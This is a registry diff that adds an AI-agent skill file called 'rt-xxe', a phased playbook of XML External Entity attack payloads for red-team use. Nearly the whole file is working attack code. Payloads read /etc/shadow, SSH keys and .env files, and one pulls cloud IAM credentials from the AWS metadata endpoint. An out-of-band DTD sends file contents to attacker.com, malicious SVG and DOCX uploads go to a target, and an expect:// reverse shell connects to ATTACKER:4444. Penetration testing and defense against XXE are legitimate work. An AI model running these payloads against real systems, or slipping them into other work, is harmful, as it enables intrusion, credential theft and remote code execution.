rtexit-method 0.1.8 → 0.1.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,181 @@
1
+ ---
2
+ name: rt-xxe
3
+ description: "XML External Entity (XXE) injection skill for authorized engagements. Classic XXE for file read, XXE-based SSRF, blind XXE via out-of-band (OOB) DNS/HTTP exfiltration, XXE in file uploads (SVG, DOCX, XLSX), XXE in SOAP/REST APIs, XXE via XInclude, error-based XXE, and XXE to RCE via PHP expect wrapper. Use when any XML input is processed by the application."
4
+ ---
5
+
6
+ # rt-xxe — XML External Entity (XXE) Injection
7
+
8
+ ## Overview
9
+
10
+ XXE occurs when XML parsers process external entity references in attacker-controlled XML input. Impact ranges from local file disclosure to SSRF to RCE. XXE is commonly found in: XML APIs, file upload endpoints (SVG, DOCX, XLSX), SOAP services, and applications using XML for data exchange.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Classic XXE (File Read)
15
+
16
+ ```xml
17
+ <!-- Basic XXE — read /etc/passwd -->
18
+ <?xml version="1.0" encoding="UTF-8"?>
19
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
20
+ <root><data>&xxe;</data></root>
21
+
22
+ <!-- Windows paths -->
23
+ <?xml version="1.0"?>
24
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
25
+ <root>&xxe;</root>
26
+
27
+ <!-- Read sensitive files -->
28
+ file:///etc/passwd
29
+ file:///etc/shadow
30
+ file:///etc/hosts
31
+ file:///proc/self/environ ← environment variables (may have secrets)
32
+ file:///proc/self/cmdline ← running process command
33
+ file:///var/www/html/config.php
34
+ file:///app/.env
35
+ file:///home/user/.ssh/id_rsa
36
+
37
+ <!-- PHP wrapper — base64 encode to avoid XML breakage -->
38
+ <?xml version="1.0"?>
39
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
40
+ <root>&xxe;</root>
41
+ <!-- Decode response: echo "BASE64" | base64 -d -->
42
+ ```
43
+
44
+ ---
45
+
46
+ ## Phase 2 — XXE-Based SSRF
47
+
48
+ ```xml
49
+ <!-- Probe internal services via XXE -->
50
+ <?xml version="1.0"?>
51
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
52
+ <root>&xxe;</root>
53
+ <!-- AWS metadata → get IAM credentials -->
54
+
55
+ <!-- Internal port scan via XXE -->
56
+ <?xml version="1.0"?>
57
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.10.10.1:8080/">]>
58
+ <root>&xxe;</root>
59
+ <!-- Different response/timing for open vs closed ports -->
60
+ ```
61
+
62
+ ---
63
+
64
+ ## Phase 3 — Blind XXE (Out-of-Band)
65
+
66
+ ```xml
67
+ <!-- No response reflection → use OOB to exfiltrate -->
68
+
69
+ <!-- Step 1: Host malicious DTD on attacker server -->
70
+ <!-- attacker.com/evil.dtd: -->
71
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
72
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
73
+ %eval;
74
+ %exfil;
75
+
76
+ <!-- Step 2: Send XML referencing your DTD -->
77
+ <?xml version="1.0"?>
78
+ <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
79
+ <root>test</root>
80
+
81
+ <!-- Monitor attacker.com access logs → file contents in URL params -->
82
+
83
+ <!-- DNS-based blind XXE (firewalled HTTP) -->
84
+ <!ENTITY % xxe SYSTEM "http://UNIQUE_ID.attacker.burpcollaborator.net/">
85
+
86
+ <!-- Burp Collaborator: detect blind XXE via DNS lookups -->
87
+ ```
88
+
89
+ ---
90
+
91
+ ## Phase 4 — XXE in File Uploads
92
+
93
+ ```bash
94
+ # SVG XXE (image upload that parses SVG)
95
+ cat > evil.svg << 'EOF'
96
+ <?xml version="1.0" standalone="yes"?>
97
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
98
+ <svg xmlns="http://www.w3.org/2000/svg">
99
+ <text font-size="15">&xxe;</text>
100
+ </svg>
101
+ EOF
102
+ curl -X POST https://target.com/upload -F "file=@evil.svg"
103
+
104
+ # DOCX/XLSX XXE (Office documents are ZIP archives containing XML)
105
+ mkdir docx_xxe && cd docx_xxe
106
+ cp legitimate.docx evil.docx
107
+ unzip evil.docx -d evil_extracted/
108
+ # Edit evil_extracted/word/document.xml:
109
+ # Add XXE declaration at top
110
+ zip -r evil.docx evil_extracted/
111
+ curl -X POST https://target.com/upload -F "file=@evil.docx"
112
+
113
+ # PDF XXE (some PDF parsers)
114
+ cat > evil.pdf << 'EOF'
115
+ %PDF-1.4
116
+ 1 0 obj
117
+ <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
118
+ EOF
119
+ ```
120
+
121
+ ---
122
+
123
+ ## Phase 5 — XInclude Attack
124
+
125
+ ```xml
126
+ <!-- When you can't control the DOCTYPE declaration -->
127
+ <!-- XInclude works inside XML document body -->
128
+ <foo xmlns:xi="http://www.w3.org/2001/XInclude">
129
+ <xi:include parse="text" href="file:///etc/passwd"/>
130
+ </foo>
131
+ ```
132
+
133
+ ---
134
+
135
+ ## Phase 6 — Error-Based XXE
136
+
137
+ ```xml
138
+ <!-- Trigger parsing error to exfiltrate in error message -->
139
+ <!DOCTYPE foo [
140
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
141
+ <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
142
+ %eval;
143
+ %error;
144
+ ]>
145
+ <!-- Error message contains: file not found: /nonexistent/root:x:0:0:root... -->
146
+ ```
147
+
148
+ ---
149
+
150
+ ## Phase 7 — XXE to RCE
151
+
152
+ ```xml
153
+ <!-- PHP expect:// wrapper (if expect module loaded) -->
154
+ <?xml version="1.0"?>
155
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
156
+ <root>&xxe;</root>
157
+ <!-- Response: uid=33(www-data) -->
158
+
159
+ <!-- Escalate to reverse shell -->
160
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/ATTACKER/4444 0>%261'">]>
161
+ ```
162
+
163
+ ---
164
+
165
+ ## Skill Levels
166
+
167
+ **BEGINNER:** Classic XXE file read (/etc/passwd) · SOAP/XML API testing · SVG file upload
168
+
169
+ **INTERMEDIATE:** XXE-based SSRF for cloud metadata · Blind OOB via Burp Collaborator · DOCX/XLSX XXE
170
+
171
+ **ADVANCED:** Error-based blind XXE · XInclude for restricted contexts · PHP filter chain via XXE
172
+
173
+ **EXPERT:** XXE to RCE via expect:// · Custom DTD chaining · XXE in binary protocols that embed XML
174
+
175
+ ---
176
+
177
+ ## References
178
+
179
+ - PortSwigger XXE: https://portswigger.net/web-security/xxe
180
+ - PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
181
+ - MITRE T1059: https://attack.mitre.org/techniques/T1059/